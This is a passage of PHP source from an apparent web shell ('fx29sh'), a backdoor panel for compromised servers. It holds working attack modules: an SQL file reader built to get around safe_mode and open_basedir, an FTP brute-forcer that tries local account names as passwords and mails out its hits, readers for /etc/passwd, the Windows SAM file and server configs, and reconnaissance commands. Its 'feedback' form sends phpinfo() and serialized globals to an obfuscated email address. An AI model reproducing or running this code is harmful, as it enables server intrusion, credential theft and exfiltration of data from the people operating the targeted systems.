  937.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  938.       echo "<option value=\"\">With selected:</option>";
  939.       echo "<option value=\"tbldrop\">Drop</option>";
  940.       echo "<option value=\"tblempty\">Empty</option>";
  941.       echo "<option value=\"tbldump\">Dump</option>";
  942.       echo "<option value=\"tblcheck\">Check table</option>";
  943.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  944.       echo "<option value=\"tblrepair\">Repair table</option>";
  945.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  946.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  947.       mysql_free_result($result);
  948.      }
  949.     }
  950.    }
  951.    }
  952.   }
  953.   else {
  954.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  955.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  956.    if (!empty($sql_act)) {
  957.     echo "<hr size=\"1\" noshade>";
  958.     if ($sql_act == "newdb") {
  959.      echo "<b>";
  960.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  961.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  962.     }
  963.     if ($sql_act == "serverstatus") {
  964.      $result = mysql_query("SHOW STATUS", $sql_sock);
  965.      echo "<center><b>Server-status variables:</b><br><br>";
  966.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  967.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  968.      echo "</table></center>";
  969.      mysql_free_result($result);
  970.     }
  971.     if ($sql_act == "servervars") {
  972.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  973.      echo "<center><b>Server variables:</b><br><br>";
  974.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  975.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  976.      echo "</table>";
  977.      mysql_free_result($result);
  978.     }
  979.     if ($sql_act == "processes") {
  980.      if (!empty($kill)) {
  981.        $query = "KILL ".$kill.";";
  982.        $result = mysql_query($query, $sql_sock);
  983.        echo "<b>Process #".$kill." was killed.</b>";
  984.      }
  985.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  986.      echo "<center><b>Processes:</b><br><br>";
  987.      echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  988.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  989.      echo "</table>";
  990.      mysql_free_result($result);
  991.     }
  992.     if ($sql_act == "getfile")
  993.     {
  994.      $tmpdb = $sql_login."_tmpdb";
  995.      $select = mysql_select_db($tmpdb);
  996.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  997.      if ($select)
  998.      {
  999.       $created = FALSE;
  1000.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1001.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1002.       $result = mysql_query("SELECT * FROM tmp_file;");
  1003.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1004.       else
  1005.       {
  1006.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1007.        $f = "";
  1008.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1009.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1010.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1011.        mysql_free_result($result);
  1012.        mysql_query("DROP TABLE tmp_file;");
  1013.       }
  1014.      }
  1015.      mysql_drop_db($tmpdb);
  1016.     }
  1017.    }
  1018.   }
  1019. }
  1020. echo "</td></tr></table>\n";
  1021. if ($sql_sock) {
  1022.   $affected = @mysql_affected_rows($sql_sock);
  1023.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1024.   echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1025. }
  1026. echo "</table>\n";
  1027. }
  1028. //End of SQL Manager
  1029. if ($act == "ftpquickbrute") {
  1030. echo "<center><table><tr><td class=barheader colspan=2>";
  1031. echo ".: Ftp Quick Brute :.</td></tr>";
  1032. echo "<tr><td>";
  1033. if ($win) { echo "Can't run on Windows!"; }
  1034. else {
  1035.   function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  1036.     if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1037.     else {$TRUE = TRUE;}
  1038.     if ($TRUE) {
  1039.       $sock = @ftp_connect($host,$port,$timeout);
  1040.       if (@ftp_login($sock,$login,$pass)) {
  1041.         echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1042.         ob_flush();
  1043.         return TRUE;
  1044.       }
  1045.     }
  1046.   }
  1047.   if (!empty($submit)) {
  1048.     if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1049.     $fp = fopen("/etc/passwd","r");
  1050.     if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1051.     else {
  1052.       if ($fqb_logging) {
  1053.         if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1054.         else {$fqb_logfp = FALSE;}
  1055.         $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1056.         if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1057.       }
  1058.       ob_flush();
  1059.       $i = $success = 0;
  1060.       $ftpquick_st = getmicrotime();
  1061.       while(!feof($fp)) {
  1062.         $str = explode(":",fgets($fp,2048));
  1063.         if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  1064.           echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1065.           $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1066.           if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1067.           $success++;
  1068.           ob_flush();
  1069.         }
  1070.         if ($i > $fqb_lenght) {break;}
  1071.         $i++;
  1072.       }
  1073.       if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1074.       $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1075.       echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1076.       $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1077.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1078.       if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  1079.       fclose($fqb_logfp);
  1080.     }
  1081.   }
  1082.   else {
  1083.     $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1084.     $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1085.     echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
  1086.          "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  1087.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  1088.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  1089.          "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  1090.          "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  1091.          "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  1092.   }
  1093.   echo "</td></tr></table></center>";
  1094. }
  1095. }
  1096. if ($act == "d") {
  1097.   if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  1098.   else {
  1099.     echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1100.     if (!$win) {
  1101.       echo "<tr><td><b>Owner/Group</b></td><td> ";
  1102.       $ow = posix_getpwuid(fileowner($d));
  1103.       $gr = posix_getgrgid(filegroup($d));
  1104.       $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1105.     }
  1106.     echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  1107.   }
  1108. }
  1109. if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();}
  1110. if ($act == "security") {
  1111.   echo "<div class=barheader>.: Server Security Information :.</div>\n".
  1112.        "<table>\n".
  1113.        "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
  1114.   echo "<td>Password File</td><td>";
  1115.   if (!$win) {
  1116.     if ($nixpasswd) {
  1117.       if ($nixpasswd == 1) {$nixpasswd = 0;}
  1118.       echo "*nix /etc/passwd:<br>";
  1119.       if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1120.       if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1121.       echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1122.       $i = $nixpwd_s;
  1123.       while ($i < $nixpwd_e) {
  1124.         $uid = posix_getpwuid($i);
  1125.         if ($uid) {
  1126.           $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1127.           echo join(":",$uid)."<br>";
  1128.         }
  1129.         $i++;
  1130.       }
  1131.     }
  1132.     else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
  1133.   }
  1134.   else {
  1135.     $v = $_SERVER["WINDIR"]."\repair\sam";
  1136.     if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
  1137.   }
  1138.   echo "</td></tr>\n";
  1139.   echo "<tr><td>Config Files</td><td>\n";
  1140.   if (!$win) {
  1141.     $v = array(
  1142.         array("User Domains","/etc/userdomains"),
  1143.         array("Cpanel Config","/var/cpanel/accounting.log"),
  1144.         array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1145.         array("Apache Config","/etc/httpd.conf"),
  1146.         array("Syslog Config","/etc/syslog.conf"),
  1147.         array("Message of The Day","/etc/motd"),
  1148.         array("Hosts","/etc/hosts")
  1149.     );
  1150.     $sep = "/";
  1151.   }
  1152.   else {
  1153.     $windir = $_SERVER["WINDIR"];
  1154.     $etcdir = $windir . "\system32\drivers\etc\\";
  1155.     $v = array(
  1156.         array("Hosts",$etcdir."hosts"),
  1157.         array("Local Network Map",$etcdir."networks"),
  1158.         array("LM Hosts",$etcdir."lmhosts.sam"),
  1159.     );
  1160.     $sep = "\\";
  1161.   }
  1162.   foreach ($v as $sec_arr) {
  1163.     $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1164.     $sec_d = rtrim($sec_arr[1],$sec_f);
  1165.     $sec_full = $sec_d.$sec_f;
  1166.     $sec_d = rtrim($sec_d,$sep);
  1167.     if (file_get_contents($sec_full)) {
  1168.       echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
  1169.     }
  1170.   }
  1171.   echo "</td></tr>";
  1172.  
  1173.   function displaysecinfo($name,$value) {
  1174.     if (!empty($value)) {
  1175.       echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
  1176.     }
  1177.   }
  1178.   if (!$win) {
  1179.     displaysecinfo("OS Version",fx29exec("cat /proc/version"));
  1180.     displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));
  1181.     displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
  1182.     displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
  1183.     displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
  1184.     displaysecinfo("RAM",fx29exec("free -m"));
  1185.     displaysecinfo("HDD Space",fx29exec("df -h"));
  1186.     displaysecinfo("List of Attributes",fx29exec("lsattr -a"));
  1187.     displaysecinfo("Mount Options",fx29exec("cat /etc/fstab"));
  1188.     displaysecinfo("lynx installed?",fx29exec("which lynx"));
  1189.     displaysecinfo("links installed?",fx29exec("which links"));
  1190.     displaysecinfo("GET installed?",fx29exec("which GET"));
  1191.     displaysecinfo("Where is Apache?",fx29exec("whereis apache"));
  1192.     displaysecinfo("Where is perl?",fx29exec("whereis perl"));
  1193.     displaysecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));
  1194.     displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
  1195.     displaysecinfo("Locate my.conf",fx29exec("locate my.conf"));
  1196.     displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
  1197.   }
  1198.   else {
  1199.     displaysecinfo("OS Version",fx29exec("ver"));
  1200.     displaysecinfo("Account Settings",fx29exec("net accounts"));
  1201.     displaysecinfo("User Accounts",fx29exec("net user"));
  1202.   }
  1203.   echo "</table>\n";
  1204. }
  1205. if ($act == "mkfile") {
  1206.   if ($mkfile != $d) {
  1207.     if ($overwrite == 0) {
  1208.       if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
  1209.     }
  1210.     else {
  1211.       if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
  1212.       else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
  1213.     }
  1214.   }
  1215.   else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
  1216. }
  1217. if ($act == "encoder") {
  1218. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  1219.      "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  1220.      "<input type=hidden name=act value=encoder>".
  1221.      "<center><table class=contents>".
  1222.      "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  1223.      "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  1224.      "<input type=submit value=\"calculate\"></td></tr>".
  1225.      "<tr><td rowspan=4>Hashes:</td>";
  1226. foreach(array("md5","crypt","sha1","crc32") as $v) {
  1227.   echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  1228. }
  1229. echo "</tr>".
  1230.      "<tr><td rowspan=2>Url:</td>".
  1231.      "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  1232.      "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  1233.      "<tr><td rowspan=2>Base64:</td>".
  1234.      "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  1235.      "<tr><td>base64_decode:</td><td>";
  1236. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  1237. else {
  1238.   $debase64 = base64_decode($encoder_input);
  1239.   $debase64 = str_replace("\0","[0]",$debase64);
  1240.   $a = explode("\r\n",$debase64);
  1241.   $rows = count($a);
  1242.   $debase64 = htmlspecialchars($debase64);
  1243.   if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  1244.   else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  1245.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  1246. }
  1247. echo "</td></tr>".
  1248.      "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1249. $c = strlen($encoder_input);
  1250. for($i=0;$i<$c;$i++) {
  1251.   $hex = dechex(ord($encoder_input[$i]));
  1252.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1253.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1254. }
  1255. echo "\" readonly></td></tr></table></center></form>";
  1256. }
  1257. if ($act == "fsbuff") {
  1258.   $arr_copy = $sess_data["copy"];
  1259.   $arr_cut = $sess_data["cut"];
  1260.   $arr = array_merge($arr_copy,$arr_cut);
  1261.   if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  1262.   else {
  1263.     $fx_infohead = "File-System Buffer";
  1264.     $ls_arr = $arr;
  1265.     $disp_fullpath = TRUE;
  1266.     $act = "ls";
  1267.   }
  1268. }
  1269. if ($act == "selfremove") {
  1270.   if (($submit == $rndcode) and ($submit != "")) {
  1271.     if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; fx29shexit(); }
  1272.     else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
  1273.   }
  1274.   else {
  1275.     if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  1276.     $rnd = rand(0,9).rand(0,9).rand(0,9);
  1277.     echo "<form action=\"".$surl."\">\n".
  1278.          "<input type=hidden name=act value=selfremove>".
  1279.          "<input type=hidden name=rndcode value=\"".$rnd."\">".
  1280.          "<b>Kill-shell: ".__FILE__." <br>".
  1281.          "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n".
  1282.          "</form>\n";
  1283.   }
  1284. }
  1285. if ($act == "update") {
  1286.   $ret = fx29sh_getupdate(!!$confirmupdate);
  1287.   echo "<b>".$ret."</b>";
  1288.   if (stristr($ret,"new version")) {
  1289.     echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  1290.   }
  1291. }
  1292. if ($act == "feedback") {
  1293.   $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
  1294.   if (!empty($submit)){
  1295.     $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1296.     $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1297.     if (!empty($fdbk_ref)) {
  1298.       $tmp = @ob_get_contents();
  1299.       ob_clean();
  1300.       phpinfo();
  1301.       $phpinfo = base64_encode(ob_get_contents());
  1302.       ob_clean();
  1303.       echo $tmp;
  1304.       $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1305.     }
  1306.     mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1307.     echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1308.   }
  1309.   else {
  1310.     echo "<form action=\"".$surl."\" method=POST>".
  1311.          "<input type=hidden name=act value=feedback>".
  1312.          "<table class=contents><tr><td class=barheader colspan=2>".
  1313.          ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
  1314.          "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
  1315.          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
  1316.          "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
  1317.          "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
  1318.          "*Language: English, Indonesian.</td></tr>".
  1319.          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1320.          "</table>\n";
  1321.   }
  1322. }
  1323. if ($act == "fxmailer") {
  1324.   if (!empty($submit)){
  1325.     $headers = 'To: '.$dest_email."\r\n";
  1326.     $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
  1327.     if (mail($suppmail,$sender_subj,$sender_body,$header)) {
  1328.       echo "<center><b>Email sent!</b></center>";
  1329.     }
  1330.     else { echo "<center><b>Can't send email!</b></center>"; }
  1331.   }
  1332.   else {
  1333.     echo "<form action=\"".$surl."\" method=POST>".
  1334.          "<input type=hidden name=act value=fxmailer>".
  1335.          "<table class=contents><tr><td class=barheader colspan=2>".
  1336.          ".: $sh_name Mailer :.</td></tr>".
  1337.          "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
  1338.          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
  1339.          "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
  1340.          "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
  1341.          "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
  1342.          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1343.          "</table>\n";
  1344.   }
  1345. }
  1346. if ($act == "search") {
  1347.   echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  1348.   if (empty($search_in)) {$search_in = $d;}
  1349.   if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1350.   if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1351.   if (!empty($submit)) {
  1352.     $found = array();
  1353.     $found_d = 0;
  1354.     $found_f = 0;
  1355.     $search_i_f = 0;
  1356.     $search_i_d = 0;
  1357.     $a = array(
  1358.         "name"=>$search_name,
  1359.         "name_regexp"=>$search_name_regexp,
  1360.         "text"=>$search_text,
  1361.         "text_regexp"=>$search_text_regxp,
  1362.         "text_wwo"=>$search_text_wwo,
  1363.         "text_cs"=>$search_text_cs,
  1364.         "text_not"=>$search_text_not
  1365.     );
  1366.     $searchtime = getmicrotime();
  1367.     $in = array_unique(explode(";",$search_in));
  1368.     foreach($in as $v) {fx29fsearch($v);}
  1369.     $searchtime = round(getmicrotime()-$searchtime,4);
  1370.     if (count($found) == 0) {echo "No files found!";}
  1371.     else {
  1372.       $ls_arr = $found;
  1373.       $disp_fullpath = TRUE;
  1374.       $act = "ls";
  1375.     }
  1376.   }
  1377.   echo "<table class=contents>".
  1378.        "<tr><td><form method=POST>".
  1379.        "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
  1380.        "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  1381.        "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  1382.        "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  1383.        "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  1384.        "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  1385.        "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  1386.        "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  1387.        "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  1388.        "</table>\n";
  1389.   if ($act == "ls") {
  1390.     $dspact = $act;
  1391.     echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  1392.          "<hr size=\"1\" noshade>";
  1393.   }
  1394. }
  1395. if ($act == "chmod") {
  1396.   $mode = fileperms($d.$f);
  1397.   if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1398.   else {
  1399.     $form = TRUE;
  1400.     if ($chmod_submit) {
